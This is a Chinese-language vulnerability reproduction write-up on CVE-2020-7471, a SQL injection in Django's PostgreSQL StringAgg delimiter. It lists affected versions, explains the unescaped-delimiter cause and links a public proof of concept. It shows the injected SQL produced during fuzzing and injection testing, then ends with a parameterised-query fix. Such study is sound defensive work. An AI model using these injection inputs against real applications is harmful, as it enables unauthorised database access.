文章来源|MS08067 WEB攻防知识星球
本文作者:守拙(Ms08067实验室追洞小组成员)
一、漏洞名称:
通过StringAgg(分隔符)的潜在SQL注入漏洞
二、漏洞编号:
CVE-2020-7471
三、漏洞描述:
Django 1.11.28之前的1.11.x、2.2.10之前的2.2.x和3.0.3之前的3.0.x版本允许SQL注入,如果不受信任的数据用作StringAgg分隔符(例如,在存在多行数据下载的Django应用程序中,使用用户指定的列分隔符进行下载的场景)。通过向contrib.postgres.aggregates.StringAgg实例传递一个精心构造的分隔符,可能会破坏转义并注入恶意SQL。
四、影响版本:
Django 1.11.x < 1.11.28
Django 2.2.x < 2.2.10
Django 3.0.x < 3.0.3
五、漏洞分析
聚合函数StringAgg的delimiter参数未经任何转义就嵌入到sql语句中,导致sql注入
六、实验环境及准备:
1.数据库:postgresql,版本无所谓,本文中使用kali虚拟机中自带的数据库,允许外部连接
/etc/postgresql/12/main/postgresql.conf
/etc/postgresql/12/main/pg_hba.conf
登陆:psql -U postgres -h [kali主机的IP]
创建测试数据库:CREATE DATABASE test,后面poc中会用到
其他postgresql语法可以参考菜鸟教程
2.POC: https://github.com/Saferman/CVE-2020-7471,运行环境django3.0.2
pip installdjango==3.0.2
七、复现步骤:
POC测试脚本中有两个函数query()和query_with_evil(),前者用于模糊测试,后者用于注入点证明
1.模糊测试
SELECT "vul_app_info"."gender", STRING_AGG("vul_app_info"."name", \'\'\') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 21
2.注入点证明
SELECT "vul_app_info"."gender", STRING_AGG("vul_app_info"."name", \'- \') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 21
SELECT "vul_app_info"."gender", STRING_AGG("vul_app_info"."name", \'- \') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFSET 1 --
八、其他思考:
1. 漏洞利用场景
2. 漏洞挖掘思路
3. 漏洞修复
sql="SELECT * FROM user_contacts WHERE username = %s"
user='zhugedali'
cursor.execute(sql,[user])
4.同类型函数
array_to_string(array_agg(name),'-')
本文分享自 Ms08067安全实验室 微信公众号,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文参与 腾讯云自媒体同步曝光计划 ,欢迎热爱写作的你一起参与!